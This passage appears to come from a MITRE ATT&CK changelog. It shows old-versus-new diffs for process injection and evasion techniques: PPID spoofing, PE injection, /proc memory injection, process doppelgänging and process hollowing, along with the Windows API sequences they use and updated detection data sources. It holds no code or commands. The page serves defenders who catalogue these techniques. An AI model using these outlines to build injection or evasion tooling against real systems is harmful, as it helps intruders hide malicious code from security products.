marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may spoof the parent process identifier (PPID) o | t | 1 | Adversaries may spoof the parent process identifier (PPID) o |
| > | f a new process to evade process-monitoring defenses or to e | > | f a new process to evade process-monitoring defenses or to e | ||
| > | levate privileges. New processes are typically spawned direc | > | levate privileges. New processes are typically spawned direc | ||
| > | tly from their parent, or calling, process unless explicitly | > | tly from their parent, or calling, process unless explicitly | ||
| > | specified. One way of explicitly assigning the PPID of a ne | > | specified. One way of explicitly assigning the PPID of a ne | ||
| > | w process is via the <code>CreateProcess</code> API call, wh | > | w process is via the <code>CreateProcess</code> API call, wh | ||
| > | ich supports a parameter that defines the PPID to use.(Citat | > | ich supports a parameter that defines the PPID to use.(Citat | ||
| > | ion: DidierStevens SelectMyParent Nov 2009) This functionali | > | ion: DidierStevens SelectMyParent Nov 2009) This functionali | ||
| > | ty is used by Windows features such as User Account Control | > | ty is used by Windows features such as User Account Control | ||
| > | (UAC) to correctly set the PPID after a requested elevated p | > | (UAC) to correctly set the PPID after a requested elevated p | ||
| > | rocess is spawned by SYSTEM (typically via <code>svchost.exe | > | rocess is spawned by SYSTEM (typically via <code>svchost.exe | ||
| > | </code> or <code>consent.exe</code>) rather than the current | > | </code> or <code>consent.exe</code>) rather than the current | ||
| > | user context.(Citation: Microsoft UAC Nov 2018) Adversarie | > | user context.(Citation: Microsoft UAC Nov 2018) Adversarie | ||
| > | s may abuse these mechanisms to evade defenses, such as thos | > | s may abuse these mechanisms to evade defenses, such as thos | ||
| > | e blocking processes spawning directly from Office documents | > | e blocking processes spawning directly from Office documents | ||
| > | , and analysis targeting unusual/potentially malicious paren | > | , and analysis targeting unusual/potentially malicious paren | ||
| > | t-child process relationships, such as spoofing the PPID of | > | t-child process relationships, such as spoofing the PPID of | ||
| > | [PowerShell](https://attack.mitre.org/techniques/T1086)/[Run | > | [PowerShell](https://attack.mitre.org/techniques/T1059/001)/ | ||
| > | dll32](https://attack.mitre.org/techniques/T1085) to be <cod | > | [Rundll32](https://attack.mitre.org/techniques/T1218/011) to | ||
| > | e>explorer.exe</code> rather than an Office document deliver | > | be <code>explorer.exe</code> rather than an Office document | ||
| > | ed as part of [Spearphishing Attachment](https://attack.mitr | > | delivered as part of [Spearphishing Attachment](https://att | ||
| > | e.org/techniques/T1566/001).(Citation: CounterCept PPID Spoo | > | ack.mitre.org/techniques/T1566/001).(Citation: CounterCept P | ||
| > | fing Dec 2018) This spoofing could be executed via [Visual B | > | PID Spoofing Dec 2018) This spoofing could be executed via [ | ||
| > | asic](https://attack.mitre.org/techniques/T1059/005) within | > | Visual Basic](https://attack.mitre.org/techniques/T1059/005) | ||
| > | a malicious Office document or any code that can perform [Na | > | within a malicious Office document or any code that can per | ||
| > | tive API](https://attack.mitre.org/techniques/T1106).(Citati | > | form [Native API](https://attack.mitre.org/techniques/T1106) | ||
| > | on: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept | > | .(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: Coun | ||
| > | PPID Spoofing Dec 2018) Explicitly assigning the PPID may a | > | terCept PPID Spoofing Dec 2018) Explicitly assigning the PP | ||
| > | lso enable elevated privileges given appropriate access righ | > | ID may also enable elevated privileges given appropriate acc | ||
| > | ts to the parent process. For example, an adversary in a pri | > | ess rights to the parent process. For example, an adversary | ||
| > | vileged user context (i.e. administrator) may spawn a new pr | > | in a privileged user context (i.e. administrator) may spawn | ||
| > | ocess and assign the parent as a process running as SYSTEM ( | > | a new process and assign the parent as a process running as | ||
| > | such as <code>lsass.exe</code>), causing the new process to | > | SYSTEM (such as <code>lsass.exe</code>), causing the new pro | ||
| > | be elevated via the inherited access token.(Citation: XPNSec | > | cess to be elevated via the inherited access token.(Citation | ||
| > | PPID Nov 2017) | > | : XPNSec PPID Nov 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-16 19:37:02.030000+00:00 | 2021-02-09 14:11:20.296000+00:00 |
| description | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Windows event logs | Process: Process Metadata |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 19:57:36.136000+00:00 | 2021-03-30 00:51:59.629000+00:00 |
| external_references[4]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject portable executables (PE) into proces | t | 1 | Adversaries may inject portable executables (PE) into proces |
| > | ses in order to evade process-based defenses as well as poss | > | ses in order to evade process-based defenses as well as poss | ||
| > | ibly elevate privileges. PE injection is a method of executi | > | ibly elevate privileges. PE injection is a method of executi | ||
| > | ng arbitrary code in the address space of a separate live pr | > | ng arbitrary code in the address space of a separate live pr | ||
| > | ocess. PE injection is commonly performed by copying code | > | ocess. PE injection is commonly performed by copying code | ||
| > | (perhaps without a file on disk) into the virtual address sp | > | (perhaps without a file on disk) into the virtual address sp | ||
| > | ace of the target process before invoking it via a new threa | > | ace of the target process before invoking it via a new threa | ||
| > | d. The write can be performed with native Windows API calls | > | d. The write can be performed with native Windows API calls | ||
| > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | ||
| > | mory</code>, then invoked with <code>CreateRemoteThread</cod | > | mory</code>, then invoked with <code>CreateRemoteThread</cod | ||
| > | e> or additional code (ex: shellcode). The displacement of t | > | e> or additional code (ex: shellcode). The displacement of t | ||
| > | he injected code does introduce the additional requirement f | > | he injected code does introduce the additional requirement f | ||
| > | or functionality to remap memory references. (Citation: Endg | > | or functionality to remap memory references. (Citation: Elas | ||
| > | ame Process Injection July 2017) Running code in the conte | > | tic Process Injection July 2017) Running code in the conte | ||
| > | xt of another process may allow access to the process's memo | > | xt of another process may allow access to the process's memo | ||
| > | ry, system/network resources, and possibly elevated privileg | > | ry, system/network resources, and possibly elevated privileg | ||
| > | es. Execution via PE injection may also evade detection from | > | es. Execution via PE injection may also evade detection from | ||
| > | security products since the execution is masked under a leg | > | security products since the execution is masked under a leg | ||
| > | itimate process. | > | itimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:19:58.813000+00:00 | 2020-11-10 18:29:30.882000+00:00 |
| description | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Endgame Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via the | t | 1 | Adversaries may inject malicious code into processes via the |
| > | /proc filesystem in order to evade process-based defenses a | > | /proc filesystem in order to evade process-based defenses a | ||
| > | s well as possibly elevate privileges. Proc memory injection | > | s well as possibly elevate privileges. Proc memory injection | ||
| > | is a method of executing arbitrary code in the address spac | > | is a method of executing arbitrary code in the address spac | ||
| > | e of a separate live process. Proc memory injection involv | > | e of a separate live process. Proc memory injection involv | ||
| > | es enumerating the memory of a process via the /proc filesys | > | es enumerating the memory of a process via the /proc filesys | ||
| > | tem (<code>/proc/[pid]</code>) then crafting a return-orient | > | tem (<code>/proc/[pid]</code>) then crafting a return-orient | ||
| > | ed programming (ROP) payload with available gadgets/instruct | > | ed programming (ROP) payload with available gadgets/instruct | ||
| > | ions. Each running process has its own directory, which incl | > | ions. Each running process has its own directory, which incl | ||
| > | udes memory mappings. Proc memory injection is commonly perf | > | udes memory mappings. Proc memory injection is commonly perf | ||
| > | ormed by overwriting the target processes’ stack using memor | > | ormed by overwriting the target processes’ stack using memor | ||
| > | y mappings provided by the /proc filesystem. This informatio | > | y mappings provided by the /proc filesystem. This informatio | ||
| > | n can be used to enumerate offsets (including the stack) and | > | n can be used to enumerate offsets (including the stack) and | ||
| > | gadgets (or instructions within the program that can be use | > | gadgets (or instructions within the program that can be use | ||
| > | d to build a malicious payload) otherwise hidden by process | > | d to build a malicious payload) otherwise hidden by process | ||
| > | memory protections such as address space layout randomizatio | > | memory protections such as address space layout randomizatio | ||
| > | n (ASLR). Once enumerated, the target processes’ memory map | > | n (ASLR). Once enumerated, the target processes’ memory map | ||
| > | within <code>/proc/[pid]/maps</code> can be overwritten usin | > | within <code>/proc/[pid]/maps</code> can be overwritten usin | ||
| > | g dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injec | > | g dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injec | ||
| > | tion)(Citation: DD Man) Other techniques such as [LD_PRELO | > | tion)(Citation: DD Man) Other techniques such as [Dynamic | ||
| > | AD](https://attack.mitre.org/techniques/T1574/006) may be us | > | Linker Hijacking](https://attack.mitre.org/techniques/T1574/ | ||
| > | ed to populate a target process with more available gadgets. | > | 006) may be used to populate a target process with more avai | ||
| > | Similar to [Process Hollowing](https://attack.mitre.org/tec | > | lable gadgets. Similar to [Process Hollowing](https://attack | ||
| > | hniques/T1055/012), proc memory injection may target child p | > | .mitre.org/techniques/T1055/012), proc memory injection may | ||
| > | rocesses (such as a backgrounded copy of sleep).(Citation: G | > | target child processes (such as a backgrounded copy of sleep | ||
| > | DS Linux Injection) Running code in the context of another | > | ).(Citation: GDS Linux Injection) Running code in the cont | ||
| > | process may allow access to the process's memory, system/ne | > | ext of another process may allow access to the process's mem | ||
| > | twork resources, and possibly elevated privileges. Execution | > | ory, system/network resources, and possibly elevated privile | ||
| > | via proc memory injection may also evade detection from sec | > | ges. Execution via proc memory injection may also evade dete | ||
| > | urity products since the execution is masked under a legitim | > | ction from security products since the execution is masked u | ||
| > | ate process. | > | nder a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via proce | t | 1 | Adversaries may inject malicious code into process via proce |
| > | ss doppelgänging in order to evade process-based defenses as | > | ss doppelgänging in order to evade process-based defenses as | ||
| > | well as possibly elevate privileges. Process doppelgänging | > | well as possibly elevate privileges. Process doppelgänging | ||
| > | is a method of executing arbitrary code in the address space | > | is a method of executing arbitrary code in the address space | ||
| > | of a separate live process. Windows Transactional NTFS (T | > | of a separate live process. Windows Transactional NTFS (T | ||
| > | xF) was introduced in Vista as a method to perform safe file | > | xF) was introduced in Vista as a method to perform safe file | ||
| > | operations. (Citation: Microsoft TxF) To ensure data integr | > | operations. (Citation: Microsoft TxF) To ensure data integr | ||
| > | ity, TxF enables only one transacted handle to write to a fi | > | ity, TxF enables only one transacted handle to write to a fi | ||
| > | le at a given time. Until the write handle transaction is te | > | le at a given time. Until the write handle transaction is te | ||
| > | rminated, all other handles are isolated from the writer and | > | rminated, all other handles are isolated from the writer and | ||
| > | may only read the committed version of the file that existe | > | may only read the committed version of the file that existe | ||
| > | d at the time the handle was opened. (Citation: Microsoft Ba | > | d at the time the handle was opened. (Citation: Microsoft Ba | ||
| > | sic TxF Concepts) To avoid corruption, TxF performs an autom | > | sic TxF Concepts) To avoid corruption, TxF performs an autom | ||
| > | atic rollback if the system or application fails during a wr | > | atic rollback if the system or application fails during a wr | ||
| > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | ||
| > | hough deprecated, the TxF application programming interface | > | hough deprecated, the TxF application programming interface | ||
| > | (API) is still enabled as of Windows 10. (Citation: BlackHat | > | (API) is still enabled as of Windows 10. (Citation: BlackHat | ||
| > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | ||
| > | to a perform a file-less variation of [Process Injection](ht | > | to a perform a file-less variation of [Process Injection](ht | ||
| > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | ||
| > | s Hollowing](https://attack.mitre.org/techniques/T1093), pro | > | s Hollowing](https://attack.mitre.org/techniques/T1055/012), | ||
| > | cess doppelgänging involves replacing the memory of a legiti | > | process doppelgänging involves replacing the memory of a le | ||
| > | mate process, enabling the veiled execution of malicious cod | > | gitimate process, enabling the veiled execution of malicious | ||
| > | e that may evade defenses and detection. Process doppelgängi | > | code that may evade defenses and detection. Process doppelg | ||
| > | ng's use of TxF also avoids the use of highly-monitored API | > | änging's use of TxF also avoids the use of highly-monitored | ||
| > | functions such as <code>NtUnmapViewOfSection</code>, <code>V | > | API functions such as <code>NtUnmapViewOfSection</code>, <co | ||
| > | irtualProtectEx</code>, and <code>SetThreadContext</code>. ( | > | de>VirtualProtectEx</code>, and <code>SetThreadContext</code | ||
| > | Citation: BlackHat Process Doppelgänging Dec 2017) Process | > | >. (Citation: BlackHat Process Doppelgänging Dec 2017) Proc | ||
| > | Doppelgänging is implemented in 4 steps (Citation: BlackHat | > | ess Doppelgänging is implemented in 4 steps (Citation: Black | ||
| > | Process Doppelgänging Dec 2017): * Transact – Create a TxF | > | Hat Process Doppelgänging Dec 2017): * Transact – Create a | ||
| > | transaction using a legitimate executable then overwrite the | > | TxF transaction using a legitimate executable then overwrite | ||
| > | file with malicious code. These changes will be isolated an | > | the file with malicious code. These changes will be isolate | ||
| > | d only visible within the context of the transaction. * Load | > | d and only visible within the context of the transaction. * | ||
| > | – Create a shared section of memory and load the malicious | > | Load – Create a shared section of memory and load the malici | ||
| > | executable. * Rollback – Undo changes to original executable | > | ous executable. * Rollback – Undo changes to original execut | ||
| > | , effectively removing malicious code from the file system. | > | able, effectively removing malicious code from the file syst | ||
| > | * Animate – Create a process from the tainted section of mem | > | em. * Animate – Create a process from the tainted section of | ||
| > | ory and initiate execution. This behavior will likely not r | > | memory and initiate execution. This behavior will likely n | ||
| > | esult in elevated privileges since the injected process was | > | ot result in elevated privileges since the injected process | ||
| > | spawned from (and thus inherits the security context) of the | > | was spawned from (and thus inherits the security context) of | ||
| > | injecting process. However, execution via process doppelgän | > | the injecting process. However, execution via process doppe | ||
| > | ging may evade detection from security products since the ex | > | lgänging may evade detection from security products since th | ||
| > | ecution is masked under a legitimate process. | > | e execution is masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:27:21.304000+00:00 | 2021-02-09 15:43:48.848000+00:00 |
| description | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into suspended and hol | t | 1 | Adversaries may inject malicious code into suspended and hol |
| > | lowed processes in order to evade process-based defenses. Pr | > | lowed processes in order to evade process-based defenses. Pr | ||
| > | ocess hollowing is a method of executing arbitrary code in t | > | ocess hollowing is a method of executing arbitrary code in t | ||
| > | he address space of a separate live process. Process holl | > | he address space of a separate live process. Process holl | ||
| > | owing is commonly performed by creating a process in a suspe | > | owing is commonly performed by creating a process in a suspe | ||
| > | nded state then unmapping/hollowing its memory, which can th | > | nded state then unmapping/hollowing its memory, which can th | ||
| > | en be replaced with malicious code. A victim process can be | > | en be replaced with malicious code. A victim process can be | ||
| > | created with native Windows API calls such as <code>CreatePr | > | created with native Windows API calls such as <code>CreatePr | ||
| > | ocess</code>, which includes a flag to suspend the processes | > | ocess</code>, which includes a flag to suspend the processes | ||
| > | primary thread. At this point the process can be unmapped u | > | primary thread. At this point the process can be unmapped u | ||
| > | sing APIs calls such as <code>ZwUnmapViewOfSection</code> or | > | sing APIs calls such as <code>ZwUnmapViewOfSection</code> or | ||
| > | <code>NtUnmapViewOfSection</code> before being written to, | > | <code>NtUnmapViewOfSection</code> before being written to, | ||
| > | realigned to the injected code, and resumed via <code>Virtu | > | realigned to the injected code, and resumed via <code>Virtu | ||
| > | alAllocEx</code>, <code>WriteProcessMemory</code>, <code>Set | > | alAllocEx</code>, <code>WriteProcessMemory</code>, <code>Set | ||
| > | ThreadContext</code>, then <code>ResumeThread</code> respect | > | ThreadContext</code>, then <code>ResumeThread</code> respect | ||
| > | ively.(Citation: Leitch Hollowing)(Citation: Endgame Process | > | ively.(Citation: Leitch Hollowing)(Citation: Elastic Process | ||
| > | Injection July 2017) This is very similar to [Thread Local | > | Injection July 2017) This is very similar to [Thread Local | ||
| > | Storage](https://attack.mitre.org/techniques/T1055/005) but | > | Storage](https://attack.mitre.org/techniques/T1055/005) but | ||
| > | creates a new process rather than targeting an existing pro | > | creates a new process rather than targeting an existing pro | ||
| > | cess. This behavior will likely not result in elevated privi | > | cess. This behavior will likely not result in elevated privi | ||
| > | leges since the injected process was spawned from (and thus | > | leges since the injected process was spawned from (and thus | ||
| > | inherits the security context) of the injecting process. How | > | inherits the security context) of the injecting process. How | ||
| > | ever, execution via process hollowing may also evade detecti | > | ever, execution via process hollowing may also evade detecti | ||
| > | on from security products since the execution is masked unde | > | on from security products since the execution is masked unde | ||
| > | r a legitimate process. | > | r a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:08.758000+00:00 | 2020-11-10 18:29:31.031000+00:00 |
| description | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Endgame Process Injection July 2017)
This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
